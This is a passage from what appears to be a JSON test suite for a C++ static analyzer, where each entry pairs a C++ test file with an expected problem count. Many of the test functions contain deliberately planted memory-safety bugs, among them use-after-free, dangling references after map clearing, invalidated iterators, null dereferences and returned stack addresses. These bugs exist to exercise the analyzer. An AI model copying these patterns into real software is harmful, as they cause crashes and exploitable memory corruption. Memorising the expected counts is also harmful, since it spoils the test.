valueRef;\n}\n\nvoid use_return_insert_bad() {\n folly::F14FastMap map = {{1, 1}, {2, 4}, {3, 9}};\n const auto [it, inserted] = map.insert({4, 16});\n map.clear();\n const auto valueCopy = it->second;\n}\n\nvoid use_iterator_hinted_insert_bad() {\n folly::F14FastMap map = {{1, 1}, {2, 4}, {3, 9}};\n const auto it = map.insert(map.cbegin(), {4, 16});\n map.clear();\n const auto valueCopy = it->second;\n}\n\nvoid insert_initializer_list_bad() {\n folly::F14FastMap map = {{1, 1}, {2, 4}, {3, 9}};\n const auto& valueRef = map.at(1);\n map.insert({{4, 16}, {5, 25}});\n const auto valueCopy = valueRef;\n}\n\nvoid insert_range_bad(const std::initializer_list>& list) {\n folly::F14FastMap map = {{1, 1}, {2, 4}, {3, 9}};\n const auto& valueRef = map.at(1);\n map.insert(list.begin(), list.end());\n const auto valueCopy = valueRef;\n}\n\nvoid insert_range_from_map_bad(const folly::F14FastMap& other) {\n folly::F14FastMap map = {{1, 1}, {2, 4}, {3, 9}};\n const auto& valueRef = map.at(1);\n map.insert(other.begin(), other.end());\n const auto valueCopy = valueRef;\n}\n\nvoid folly_fastmap_insert_or_assign_bad() {\n folly::F14FastMap map = {{1, 1}, {2, 4}, {3, 9}};\n const auto& valueRef = map.at(1);\n map.insert_or_assign(4, 16);\n const auto valueCopy = valueRef;\n}\n\nvoid folly_fastmap_token_insert_or_assign_bad() {\n folly::F14FastMap map = {{1, 1}, {2, 4}, {3, 9}};\n const auto& valueRef = map.at(1);\n map.insert_or_assign(map.prehash(4), 4, 16);\n const auto valueCopy = valueRef;\n}\n\nvoid folly_fastmap_hinted_insert_or_assign_bad() {\n folly::F14FastMap map = {{1, 1}, {2, 4}, {3, 9}};\n const auto& valueRef = map.at(1);\n map.insert_or_assign(map.cbegin(), 4, 16);\n const auto valueCopy = valueRef;\n}\n\nvoid use_return_insert_or_assign_bad() {\n folly::F14FastMap map = {{1, 1}, {2, 4}, {3, 9}};\n const auto [it, inserted] = map.insert_or_assign(4, 16);\n map.clear();\n const auto valueCopy = it->second;\n}\n\nvoid use_return_token_insert_or_assign_bad() {\n folly::F14FastMap map = {{1, 1}, {2, 4}, {3, 9}};\n const auto [it, inserted] = map.insert_or_assign(map.prehash(4), 4, 16);\n map.clear();\n const auto valueCopy = it->second;\n}\n\nvoid use_iterator_hinted_insert_or_assign_bad() {\n folly::F14FastMap map = {{1, 1}, {2, 4}, {3, 9}};\n const auto it = map.insert_or_assign(map.cbegin(), 4, 16);\n map.clear();\n const auto valueCopy = it->second;\n}\n\nvoid folly_fastmap_emplace_bad() {\n folly::F14FastMap map = {{1, 1}, {2, 4}, {3, 9}};\n const auto& valueRef = map.at(1);\n map.emplace(4, 16);\n const auto valueCopy = valueRef;\n}\n\nvoid folly_fastmap_try_emplace_bad() {\n folly::F14FastMap map = {{1, 1}, {2, 4}, {3, 9}};\n const auto& valueRef = map.at(1);\n map.try_emplace(4, 16);\n const auto valueCopy = valueRef;\n}\n\nvoid folly_fastmap_hinted_try_emplace_bad() {\n folly::F14FastMap map = {{1, 1}, {2, 4}, {3, 9}};\n const auto& valueRef = map.at(1);\n map.try_emplace(map.cbegin(), 4, 16);\n const auto valueCopy = valueRef;\n}\n\nvoid use_try_emplace_return_bad() {\n folly::F14FastMap map = {{1, 1}, {2, 4}, {3, 9}};\n const auto [it, inserted] = map.try_emplace(4, 16);\n map.clear();\n const auto valueCopy = it->second;\n}\n\nvoid use_hinted_try_emplace_iterator_bad() {\n folly::F14FastMap map = {{1, 1}, {2, 4}, {3, 9}};\n const auto it = map.try_emplace(map.cbegin(), 4, 16);\n map.clear();\n const auto valueCopy = it->second;\n}\n\nvoid folly_fastmap_try_emplace_token_bad() {\n folly::F14FastMap map = {{1, 1}, {2, 4}, {3, 9}};\n const auto& valueRef = map.at(1);\n map.try_emplace_token(map.prehash(4), 4, 16);\n const auto valueCopy = valueRef;\n}\n\nvoid folly_fastmap_emplace_hint_bad() {\n folly::F14FastMap map = {{1, 1}, {2, 4}, {3, 9}};\n const auto& valueRef = map.at(1);\n map.emplace_hint(map.cbegin(), 4, 16);\n const auto valueCopy = valueRef;\n}\n\nvoid use_iterator_emplace_hint_bad() {\n folly::F14FastMap map = {{1, 1}, {2, 4}, {3, 9}};\n const auto it = map.emplace_hint(map.cbegin(), 4, 16);\n map.clear();\n const auto valueCopy = it->second;\n}\n\nvoid folly_fastmap_operator_bracket_bad() {\n folly::F14FastMap map = {{1, 1}, {2, 4}, {3, 9}};\n const auto& valueRef = map.at(1);\n map[4] = 16;\n const auto valueCopy = valueRef;\n}\n\nvoid use_reference_operator_bracket_bad() {\n folly::F14FastMap map = {{1, 1}, {2, 4}, {3, 9}};\n const auto& valueRef = map[1];\n map[4] = 16;\n const auto valueCopy = valueRef;\n}\n\nvoid folly_fastmap_erase_bad_FN() {\n folly::F14FastMap map = {{1, 1}, {2, 4}, {3, 9}};\n const auto& valueRef = map.at(1);\n map.erase(1);\n const auto valueCopy = valueRef;\n}\n\nvoid folly_fastmap_swap_ok() {\n folly::F14FastMap map = {{1, 1}, {2, 4}, {3, 9}};\n folly::F14FastMap other;\n const auto& valueRef = map.at(1);\n map.swap(other); // valueRef now valid in other.\n const auto valueCopy = valueRef;\n}\n\nvoid folly_fastmap_swap_bad() {\n folly::F14FastMap map = {{1, 1}, {2, 4}, {3, 9}};\n folly::F14FastMap other;\n const auto& valueRef = map.at(1);\n map.swap(other); // valueRef now valid in other.\n other.clear(); // valueRef now invalid.\n const auto valueCopy = valueRef;\n}\n\nvoid folly_valuemap_find_arrow_bad() {\n folly::F14ValueMap map = {{1, 1}, {2, 4}, {3, 9}};\n const auto it = map.find(1);\n const auto& valueRef = it->second;\n map.clear();\n const auto valueCopy = valueRef;\n}\n\nvoid folly_valuemap_find_star_bad() {\n folly::F14ValueMap map = {{1, 1}, {2, 4}, {3, 9}};\n const auto it = map.find(1);\n const auto& keyRef = (*it).first;\n map.clear();\n const auto keyCopy = keyRef;\n}\n\nvoid folly_vectormap_find_arrow_bad() {\n folly::F14VectorMap map = {{1, 1}, {2, 4}, {3, 9}};\n const auto it = map.find(1);\n const auto& valueRef = it->second;\n map.clear();\n const auto valueCopy = valueRef;\n}\n\nvoid folly_vectormap_find_star_bad() {\n folly::F14VectorMap map = {{1, 1}, {2, 4}, {3, 9}};\n const auto it = map.find(1);\n const auto& keyRef = (*it).first;\n map.clear();\n const auto keyCopy = keyRef;\n}\n\nvoid folly_fastmap_find_arrow_bad() {\n // The underlying map is an F14ValueMap.\n folly::F14FastMap map = {{1, 1}, {2, 4}, {3, 9}};\n const auto it = map.find(1);\n const auto& valueRef = it->second;\n map.clear();\n const auto valueCopy = valueRef;\n}\n\nvoid folly_fastmap_find_star_bad() {\n // The underlying map is an F14ValueMap.\n folly::F14FastMap map = {{1, 1}, {2, 4}, {3, 9}};\n const auto it = map.find(1);\n const auto& keyRef = (*it).first;\n map.clear();\n const auto keyCopy = keyRef;\n}\n\nvoid folly_fastmap_big_find_arrow_bad(folly::F14FastMap& map) {\n // The underlying map is an F14VectorMap.\n const auto it = map.find({0, 0, 0});\n const auto& valueRef = it->second;\n map.clear();\n const auto valueCopy = valueRef;\n}\n\nvoid folly_fastmap_big_find_star_bad(folly::F14FastMap& map) {\n // The underlying map is an F14VectorMap.\n const auto it = map.find({0, 0, 0});\n const auto& keyRef = (*it).first;\n map.clear();\n const auto keyCopy = keyRef;\n}\n\nvoid folly_fastmap_begin_bad(folly::F14FastMap& map) {\n auto it = map.begin();\n map.clear();\n ++it->second;\n}\n\nvoid folly_fastmap_cbegin_bad(folly::F14FastMap& map) {\n const auto it = map.cbegin();\n map.clear();\n const auto keyCopy = it->first;\n}\n\nvoid folly_fastmap_iterator_increment_bad_FN(folly::F14FastMap& map) {\n auto it = map.begin();\n ++it;\n const auto& valueRef = it->second;\n map.clear();\n const auto valueCopy = valueRef;\n}\n\nvoid iterator_copy_constructor_bad(folly::F14FastMap& map) {\n const auto it = map.begin();\n const auto it2 = it;\n map.clear();\n const auto keyCopy = it2->first;\n}\n\nvoid iterator_copy_operator_equal_bad(folly::F14FastMap& map) {\n const auto it = map.begin();\n folly::F14FastMap::iterator it2;\n it2 = it;\n map.clear();\n const auto keyCopy = it2->first;\n}\n\nvoid weird_operator_bracket_bad_FN(folly::F14FastMap& map) {\n // This is not valid, as the map may resize for the insert call prior to\n // accessing map[71] and constructing the pair.\n map.emplace(13, map[71]);\n}\n\n// https://github.com/facebook/folly/blob/1cf9ac0/folly/container/F14.md?plain=1#L293-L296\nvoid reserve_operator_bracket_ok_FP(folly::F14FastMap& map) {\n map.reserve(map.size() + 2);\n const auto& r1 = map[13];\n const auto& r2 = map[71];\n const auto r1Copy = r1;\n}\n\nvoid use_emplace_iterator_bad(folly::F14FastMap& map) {\n const auto [it, inserted] = map.emplace(13, 71);\n map.clear();\n // Copy here is fine, iterator is invalid but we are not accessing it.\n const auto copy = it;\n const auto value = copy->second;\n}\n\nvoid multiple_lookups_existing_key_ok(folly::F14FastMap& map) {\n const auto& valueRef = map.at(71);\n const auto key = 13;\n if (map.contains(key)) {\n map[key] = 17;\n map[key] = 31;\n map[key] = 71;\n }\n const auto valueCopy = valueRef;\n}\n\nvoid known_existing_map_key_count_ok(folly::F14FastMap& map) {\n const auto& valueRef = map.at(71);\n const auto key = 13;\n if (map.count(key) != 0) {\n map[key] = std::max(map[key], 17);\n }\n const auto valueCopy = valueRef;\n}\n\nvoid known_existing_map_key_contains_ok(folly::F14FastMap& map) {\n const auto& valueRef = map.at(71);\n const auto key = 13;\n if (map.contains(key)) {\n map[key] = std::max(map[key], 17);\n }\n const auto valueCopy = valueRef;\n}\n\nvoid known_existing_map_key_find_ok(folly::F14FastMap& map) {\n const auto& valueRef = map.at(71);\n const auto key = 13;\n if (map.find(key) != map.end()) {\n map[key] = std::max(map[key], 17);\n }\n const auto valueCopy = valueRef;\n}\n\nvoid double_lookup_not_found_bad_FN(folly::F14FastMap& map) {\n const auto& valueRef = map.at(71);\n const auto key = 13;\n if (!map.contains(key)) {\n map[key] = 17;\n }\n const auto valueCopy = valueRef;\n}\n\nvoid known_existing_map_key_literal_ok_FP(folly::F14FastMap& map) {\n const auto& valueRef = map.at(71);\n if (map.contains(13)) {\n map[13] = std::max(map[13], 17);\n }\n const auto valueCopy = valueRef;\n}\n\nvoid delete_in_loop_ok(folly::F14FastMap& map) {\n for (auto& it : map) {\n delete it.second;\n }\n}\n\nvoid right_sequenced_before_left_ok(folly::F14FastMap& map) {\n // > The assignment operator (=) and the compound assignment operators all\n // > group right-to-left. The right operand is sequenced before the left\n // > operand.\n // -- https://wg21.link/N4950, section 7.6.19 [expr.ass].\n map[13] = map[71] / 31;\n}\n\nvoid right_before_left_compound_ok(folly::F14FastMap& map) {\n map[13] += map[71] / 31;\n}\n\n// This only seems to be a false negative for integral types.\nvoid unsafe_assign_bad_FN(folly::F14FastMap& map) {\n // The LHS evaluation can invalidate the RHS reference.\n map[13] = map[71];\n}\n\nvoid unsafe_operation_bad_FN(folly::F14FastMap& map) {\n const auto result = map[13] * map[71];\n}\n\nvoid unsafe_assign_struct_bad(folly::F14FastMap& map) {\n map[13] = map[71];\n}\n\nvoid unsafe_operation_struct_bad(folly::F14FastMap& map) {\n const auto result = map[13] + map[71];\n}\n\nint mul(const int& a, const int& b) { return a * b; }\n\nvoid unsafe_function_call_bad(folly::F14FastMap& map) {\n const auto result = mul(map[13], map[71]);\n}\n\nvoid unsafe_function_call_lambda_bad(folly::F14FastMap&& map) {\n [&]() { const auto result = mul(map[13], map[71]); };\n}\n" + }, + { + "testname": "reference_wrapper.cpp", + "testlanguage": "c++", + "expected-problems": 5, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\nstruct B {\n B(int v) : f(v){};\n int f;\n};\n\nstruct WrapsB {\n WrapsB(int f) { b = new B(f); }\n B* b;\n B* getb() { return b; };\n ~WrapsB() { delete b; }\n};\n\nstruct ReferenceWrapperHeap {\n ReferenceWrapperHeap(WrapsB& a) : b(a.getb()){};\n B* b;\n};\n\nReferenceWrapperHeap getwrapperHeap() {\n WrapsB a(1);\n return a; // We store a.b in ReferenceWrapper, but we delete a.b in the\n // destructor of WrapsB\n}\n\nint reference_wrapper_heap_bad() {\n ReferenceWrapperHeap rw = getwrapperHeap();\n return rw.b->f; // we want to report use after lifetime bug here\n}\n\nstruct ReferenceWrapperStack {\n ReferenceWrapperStack(B& bref) : b(&bref){};\n B* b;\n};\n\nReferenceWrapperStack getwrapperStack() {\n B b(1);\n return b;\n}\n\nint reference_wrapper_stack_bad() {\n ReferenceWrapperStack rw = getwrapperStack();\n return rw.b->f; // we want to report use after lifetime bug here\n}\n" + }, + { + "testname": "returns.cpp", + "testlanguage": "c++", + "expected-problems": 62, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n#include \n\nnamespace returns {\n\nstruct S {\n int f_;\n\n S(int f) : f_(f) {}\n\n ~S() {}\n};\n\n#pragma clang diagnostic push\n#pragma clang diagnostic ignored \"-Wreturn-stack-address\"\nconst int& return_literal_stack_reference_bad() { return 1; }\n\nconst int& return_variable_stack_reference1_bad() {\n const int& x = 2;\n return x;\n}\n\nconst int& return_variable_stack_reference2_bad() {\n const int& x = 2;\n const int& y = x;\n return y;\n}\n#pragma clang diagnostic pop\n\nconst int return_read_of_stack_reference_ok() {\n const int& x = 2;\n return x;\n}\n\nconst int& return_formal_reference_ok(int& formal) { return formal; }\n\nconst int& return_reference_to_formal_pointer_ok(const int* formal) {\n const int& local = *formal;\n return local;\n}\n\nextern const int& callee();\n\nconst int& return_reference_from_callee_ok() {\n const int& local = callee();\n return local;\n}\n\nconst int return_int_ok() { return 1; }\n\nconst bool return_comparison_temp_ok() { return 1 != 2; }\n\nconst bool compare_local_refs_ok() {\n const int& local1 = 1;\n const int& local2 = 1;\n return local1 != local2;\n}\n\nextern int& global;\n\nconst int& return_global_reference_ok() { return global; }\n\nstruct MemberReference {\n int& member1;\n\n int& return_member_reference_ok() { return member1; }\n\n int* member2;\n int* return_member_reference_indirect_ok() {\n int* local = member2;\n return local;\n }\n};\n\nextern const char* const kOptions;\n\nconst char* return_field_addr_ternary_ok() {\n const char* const* const t = &kOptions;\n return t ? *t : \"\";\n}\n\n#pragma clang diagnostic push\n#pragma clang diagnostic ignored \"-Wreturn-stack-address\"\nint* return_stack_pointer_bad() {\n int x = 3;\n return &x;\n}\n#pragma clang diagnostic pop\n\nS* return_static_local_ok() {\n S* local;\n static S s{1};\n local = &s;\n return local;\n}\n\nstatic const S& return_static_local_ref_ok() {\n static const S& s{1};\n return s;\n}\n\nS* return_static_local_inner_scope_ok(bool b) {\n S* local = nullptr;\n if (b) {\n static S s{1};\n local = &s;\n // destructor for s gets called here, but it shouldn't be\n }\n return local;\n}\n\nint* return_formal_pointer_ok(int* formal) { return formal; }\n\n// this *could* be ok depending on what the caller does\nint* return_deleted_ok() {\n int* x = new int;\n *x = 2;\n delete x;\n return x;\n}\n\n// this *could* be ok depending on what the caller does\nS* return_destructed_pointer_ok() {\n S* s = new S(1);\n s->~S();\n return s;\n}\n\nconst char* return_nullptr1_ok() { return nullptr; }\n\nconst char* return_nullptr2_ok() {\n const char* local = nullptr;\n return local;\n}\n\nstruct A {\n ~A();\n};\n\nint try_catch_return_ok() {\n A a;\n try {\n return 1;\n } catch (...) {\n return 2;\n }\n}\n\nstd::map global_map;\n\nconst int& return_structured_variable_ok() {\n for (const auto& [key, _] : global_map) {\n return key;\n }\n}\n\nconst int* return_bound_memory_ref(const std::map& m) {\n // take a ref inside the heap\n auto& [_, v] = *m.begin();\n // &v is an address in memory\n return &v;\n}\n\nint deref_return_bound_memory_ref_ok() {\n std::map m = {{1, 11}};\n const int* vp = return_bound_memory_ref(m);\n return *vp;\n}\n\nconst int* return_bound_stack_ref(const std::map& m) {\n auto [_, v] = *m.begin();\n // &v is an address on the stack\n return &v;\n}\n\nint deref_return_bound_stack_ref_bad() {\n std::map m = {{1, 11}};\n const int* vp = return_bound_stack_ref(m);\n return *vp;\n}\n\n} // namespace returns\n" + }, + { + "testname": "set_global.cpp", + "testlanguage": "c++", + "expected-problems": 1, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \"global.h\"\n\nvoid set_global_42() { g = 42; }\n" + }, + { + "testname": "shared_ptr_compil.cpp", + "testlanguage": "c++", + "expected-problems": 9, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n\n/* Compilation tests */\n\nnamespace shared_ptr_conv_from_derived {\n/*\nshared_ptr conversion does not work if inheritance is not public\n*/\nclass Base {};\nclass Derived : public Base {};\nclass Q {\n protected:\n std::shared_ptr m_;\n\n public:\n void setM(std::shared_ptr m) { m_ = std::move(m); }\n};\nclass P {\n std::shared_ptr m_;\n Q q_;\n void u() { q_.setM(m_); }\n};\n} // namespace shared_ptr_conv_from_derived\n" + }, + { + "testname": "shared_ptr_constructors.cpp", + "testlanguage": "c++", + "expected-problems": 32, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n#include \n#include \n\nnamespace shared_ptr_constructors {\n\nstruct Base {\n int* f1;\n};\n\nstruct Derived : public Base {\n int* f2;\n};\n\nstd::shared_ptr getFromBase1(Base* b) { return std::shared_ptr(b); }\n\nstd::shared_ptr getFromBase2(Base* b) {\n std::shared_ptr result;\n result = std::shared_ptr(b); // assignment operator\n return result;\n}\n\nstd::shared_ptr getFromDerived1(Derived* d) {\n return std::shared_ptr(d);\n}\n\nstd::shared_ptr ERROR_getFromDerived2(Derived* d) {\n std::shared_ptr sd(d);\n return std::shared_ptr(sd);\n}\n\nstd::shared_ptr ERROR_getFromDerived3(Derived* d) {\n std::shared_ptr sd(d);\n std::shared_ptr result;\n result = sd; // assignment operator\n return result;\n}\n\nvoid get_from_base1_nullptr_deref_bad() { Base b = *(getFromBase1(nullptr)); }\n\nvoid get_from_base2_nullptr_deref_bad() { Base b = *(getFromBase2(nullptr)); }\n\nvoid get_from_derived1_nullptr_deref_bad() {\n Base b = *(getFromDerived1(nullptr));\n}\n\nvoid get_from_derived2_nullptr_deref_bad() {\n Base b = *(ERROR_getFromDerived2(nullptr));\n}\n\nvoid get_from_derived3_nullptr_deref_bad() {\n Base b = *(ERROR_getFromDerived3(nullptr));\n}\n\nvoid get_from_base1_null_f1_deref_bad() {\n Base b;\n int v;\n b.f1 = &v;\n std::shared_ptr p = getFromBase1(&b);\n b.f1 = nullptr;\n int r = *(p->f1);\n}\n\nvoid get_from_base2_null_f1_deref_bad() {\n Base b;\n int v;\n b.f1 = &v;\n std::shared_ptr p = getFromBase2(&b);\n b.f1 = nullptr;\n int r = *(p->f1);\n}\n\nvoid get_from_derived1_null_f1_deref_bad() {\n Derived b;\n int v;\n b.f1 = &v;\n std::shared_ptr p = getFromDerived1(&b);\n b.f1 = nullptr;\n int r = *(p->f1);\n}\n\nvoid get_from_derived2_null_f1_deref_bad() {\n Derived b;\n int v;\n b.f1 = &v;\n std::shared_ptr p = ERROR_getFromDerived2(&b);\n b.f1 = nullptr;\n int r = *(p->f1);\n}\n\nvoid get_from_derived3_null_f1_deref_bad() {\n Derived b;\n int v;\n b.f1 = &v;\n std::shared_ptr p = ERROR_getFromDerived3(&b);\n b.f1 = nullptr;\n int r = *(p->f1);\n}\n\nstruct A {\n void baz();\n};\nstruct B {\n A* a;\n};\n\nstd::shared_ptr external_def();\nstd::shared_ptr internal_null_def() {\n // TODO: do the same test for std::make_shared\n // We can't use std::make_shared here because it will cause a memory leak to\n // be reported instead. In the future we probably need to use something like\n // __set_wont_leak_attribute() to suppress the leak report.\n auto r = external_def();\n r->a = nullptr;\n return r;\n}\n\nstd::shared_ptr ERROR_aliasing_construct_from_external() {\n auto p = external_def();\n if (!p)\n throw std::logic_error(\"Suppress NULL\");\n return {p, p->a};\n}\nstd::shared_ptr ERROR_aliasing_construct_from_internal() {\n auto p = internal_null_def();\n if (!p)\n throw std::logic_error(\"Suppress NULL\");\n return {p, p->a};\n}\n\nvoid aliasing_member_not_null_ok() {\n auto q = ERROR_aliasing_construct_from_external();\n // q is unknown here so we should not report null deref\n // Also we should not report dangling pointer because q is still alive\n q->baz();\n}\nvoid aliasing_member_null_bad_FN() {\n auto q = ERROR_aliasing_construct_from_internal();\n // q is known here so we should report null deref\n // Also we should not report dangling pointer because q is still alive\n q->baz();\n}\n\nclass LambdaParam {\n public:\n LambdaParam(std::function f) : n(42) {}\n int n;\n};\n\nint make_shared_lambda_ok() {\n std::shared_ptr p = std::make_shared([]() {});\n if (p->n != 42) {\n int* p = NULL;\n *p = 0;\n }\n}\n} // namespace shared_ptr_constructors\n" + }, + { + "testname": "shared_ptr_deref.cpp", + "testlanguage": "c++", + "expected-problems": 53, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n\nnamespace shared_ptr {\n\nstruct X {\n int field;\n int get() { return field; }\n void set(int value) { field = value; }\n};\n\nint empty_ptr_access() {\n std::shared_ptr x;\n int* p = x.get(); // no dereference\n if (p) {\n return 1;\n }\n return 0;\n}\n\nint empty_ptr_deref_bad() {\n std::shared_ptr x;\n return *x;\n}\n\nint nullptr_ptr_deref_bad() {\n std::shared_ptr x(nullptr);\n return *x;\n}\n\nint shared_ptr_create_use_ok() {\n std::shared_ptr x(new X());\n return x->get();\n}\n\nint empty_ptr_field_deref_bad() {\n std::shared_ptr x;\n return x.get()->field;\n}\n\nint empty_ptr_field_deref2_bad() {\n std::shared_ptr x;\n return x->field;\n}\n\nint empty_ptr_method_deref_bad() {\n std::shared_ptr x;\n return x->get();\n}\n\nint reset_ptr_null_deref0_bad() {\n std::shared_ptr x(new int);\n x.reset();\n return *x;\n}\n\nint reset_ptr_null_deref1_bad() {\n std::shared_ptr x(new int);\n x.reset(new int);\n x.reset();\n return *x;\n}\n\nint reset_ptr_deref_ok() {\n std::shared_ptr x;\n x.reset(new int);\n return *x;\n}\n\nint reset_ptr_deref2_ok() {\n std::shared_ptr x;\n x.reset();\n x.reset(new int);\n return *x;\n}\n\nint shared_ptr_copy_null_deref_bad() {\n std::shared_ptr p1;\n std::shared_ptr p2 = p1;\n return *p2;\n}\n\nint shared_ptr_assign_null_deref_bad() {\n std::shared_ptr p1(new int);\n std::shared_ptr p2;\n p1 = p2;\n return *p1;\n}\n\nint shared_ptr_copy_deref_ok() {\n std::shared_ptr p1(new int);\n std::shared_ptr p2 = p1;\n return *p2;\n}\n\nint shared_ptr_assign_deref_ok() {\n std::shared_ptr p1(new int);\n std::shared_ptr p2;\n p2 = p1;\n p1.reset();\n return *p2;\n}\n\nint shared_ptr_move_null_deref_bad() {\n std::shared_ptr p1(new int);\n std::shared_ptr p2 = std::move(p1);\n return *p1;\n}\n\nint ERROR_shared_ptr_check_null_ok() {\n std::shared_ptr p;\n if (p == nullptr)\n return 1;\n return *p;\n}\n\nint shared_ptr_check_notnull_ok() {\n std::shared_ptr p;\n if (p != nullptr)\n return *p;\n return 1;\n}\n\nint shared_ptr_check_null2_ok(std::shared_ptr p) {\n if (p == nullptr)\n return 1;\n return *p;\n}\n} // namespace shared_ptr\n" + }, + { + "testname": "shared_ptr_destructor.cpp", + "testlanguage": "c++", + "expected-problems": 43, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n#include \n\nnamespace destructor_shared_ptr {\nstruct X {\n int field;\n int* pointer_field;\n int get() { return field; }\n void set(int value) { field = value; }\n X() { pointer_field = new int; }\n ~X() { delete pointer_field; }\n};\n\nstruct Y {\n X* pointer_field;\n void leak() { pointer_field = new X(); }\n Y() { pointer_field = new X(); }\n ~Y() { delete pointer_field; }\n};\n\nint destructor0_ok() {\n auto x = new std::shared_ptr(new int(5));\n delete x;\n return 0;\n}\n\nint destructor1_ok() {\n { std::shared_ptr(new int(5)); }\n return 0;\n}\n\nint destructor2_ok() {\n { std::shared_ptr p; }\n return 0;\n}\n\nint destructor3_ok() {\n auto x = new std::shared_ptr();\n delete x;\n return 0;\n}\n\nint destructor4_ok() {\n auto p = new int(5);\n {\n std::shared_ptr x(p);\n int i = *p;\n {\n std::shared_ptr y(x);\n if (*p == *y && *p == *x)\n return *p;\n else {\n int* q = nullptr;\n return *q;\n }\n }\n }\n return 0;\n}\n\nvoid destructor5_ok() {\n auto x = new std::shared_ptr(new Y());\n delete x;\n}\n\nint destructor6_ok() {\n auto x = std::shared_ptr(new Y());\n return 0;\n}\n\nvoid destructor7_ok() {\n auto x = std::shared_ptr(new Y());\n x.reset();\n}\n\nvoid destructor8_ok() {\n auto x = std::shared_ptr(new Y());\n x.reset(new Y());\n}\n\nint destructor0_bad() {\n auto p = new int(5);\n auto x = new std::shared_ptr(p);\n delete x;\n // Should report a NPE here as p has been deallocated\n return *p;\n}\n\nint destructor1_bad() {\n auto p = new int(5);\n { std::shared_ptr x(p); }\n // Should report a NPE here as p has been deallocated\n return *p;\n}\n\nint destructor2_bad() {\n auto p = new int(5);\n {\n std::shared_ptr x(p);\n { std::shared_ptr y(x); }\n }\n // Should report a NPE here as p has been deallocated\n return *p;\n}\n\nint destructor3_bad() {\n auto x = std::shared_ptr(new Y());\n x->leak(); // Should report a memory leak\n return 0;\n}\n\nint destructor4_bad() {\n auto x = std::shared_ptr(new Y());\n x->leak(); // Should report a memory leak\n x.reset();\n return 0;\n}\n\nint destructor5_bad() {\n auto x = std::shared_ptr(new Y());\n x.reset(new Y());\n x->leak(); // Should report a memory leak\n return 0;\n}\n\nclass MySharedPtrClass : public std::shared_ptr {};\n\nvoid find_element_type_to_destruct_ok() {\n MySharedPtrClass x;\n x.reset();\n}\n} // namespace destructor_shared_ptr\n" + }, + { + "testname": "shared_ptr_semantics.cpp", + "testlanguage": "c++", + "expected-problems": 211, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n\nnamespace shared_ptr_semantics {\nstruct X {\n int field;\n X(int x = 0) : field(x) {}\n int get() { return field; }\n};\n\nint constructor0_ok() {\n std::shared_ptr x(new int(42));\n if (*x != 42) {\n // Should not report a NPE here as *x is equal to 42\n int* q = nullptr;\n return *q;\n }\n return 0;\n}\n\nint constructor0_bad() {\n int* p = new int(42);\n std::shared_ptr x(p);\n if (*x == 42) {\n // Should report a NPE here as *x is equal to 42\n int* q = nullptr;\n return *q;\n }\n return 0;\n}\n\nint move_constructor0_ok() {\n std::shared_ptr x(std::shared_ptr(new X(42)));\n if (x->get() != 42 || x.use_count() != 1) {\n int* q = nullptr;\n return *q;\n }\n return 0;\n}\nint move_constructor1_ok() {\n std::shared_ptr x(new int(42));\n std::shared_ptr y(std::move(x));\n if (*y != 42 || y.use_count() != 1) {\n int* q = nullptr;\n return *q;\n }\n return 0;\n}\n\nint move_constructor2_ok() {\n std::shared_ptr x(new int(42));\n std::shared_ptr y(std::move(x));\n if (x) {\n int* q = nullptr;\n return *q;\n }\n return 0;\n}\n\nint move_constructor3_ok() {\n std::shared_ptr x(new X(42));\n std::shared_ptr y(std::move(x));\n if (x || y->get() != 42 || y.use_count() != 1) {\n int* q = nullptr;\n return *q;\n }\n return 0;\n}\n\nint move_constructor0_bad() {\n std::shared_ptr x(std::shared_ptr(new int(42)));\n if (*x == 42 && x.use_count() == 1) {\n int* q = nullptr;\n return *q;\n }\n return 0;\n}\n\nint move_constructor1_bad() {\n std::shared_ptr x(new int(42));\n std::shared_ptr y(std::move(x));\n if (*y == 42 && y.use_count() == 1) {\n int* q = nullptr;\n return *q;\n }\n return 0;\n}\n\nint move_constructor2_bad() {\n std::shared_ptr x(new int(42));\n std::shared_ptr y(std::move(x));\n if (!x) {\n int* q = nullptr;\n return *q;\n }\n return 0;\n}\n\nint move_constructor3_bad() {\n std::shared_ptr x(new X(42));\n std::shared_ptr y(std::move(x));\n if (!x && y->get() == 42 && y.use_count() == 1) {\n int* q = nullptr;\n return *q;\n }\n return 0;\n}\n\nint copy_constructor0_ok() {\n std::shared_ptr x(new int(42));\n std::shared_ptr y(x);\n if (*x != 42) {\n int* q = nullptr;\n return *q;\n }\n return 0;\n}\n\nint copy_constructor1_ok() {\n std::shared_ptr w(new int);\n std::shared_ptr x(new int);\n std::shared_ptr y(w);\n if (w.use_count() != 2) {\n int* q = nullptr;\n return *q;\n }\n y = x;\n if (w.use_count() != 1) {\n int* q = nullptr;\n return *q;\n }\n return 0;\n}\n\nint copy_constructor2_ok() {\n int* p = new int;\n std::shared_ptr x(p);\n x = x;\n if (x.use_count() != 1) {\n int* q = nullptr;\n return *q;\n }\n return 0;\n}\n\nint copy_constructor3_ok() {\n int* p = new int;\n std::shared_ptr x(p);\n std::shared_ptr& y = x;\n x = y;\n if (x.use_count() != 1) {\n int* q = nullptr;\n return *q;\n }\n return 0;\n}\n\nint copy_constructor0_bad() {\n std::shared_ptr x;\n std::shared_ptr y(x);\n if (y.use_count() == 0) {\n int* q = nullptr;\n return *q;\n }\n return 0;\n}\n\nint copy_constructor1_bad() {\n std::shared_ptr 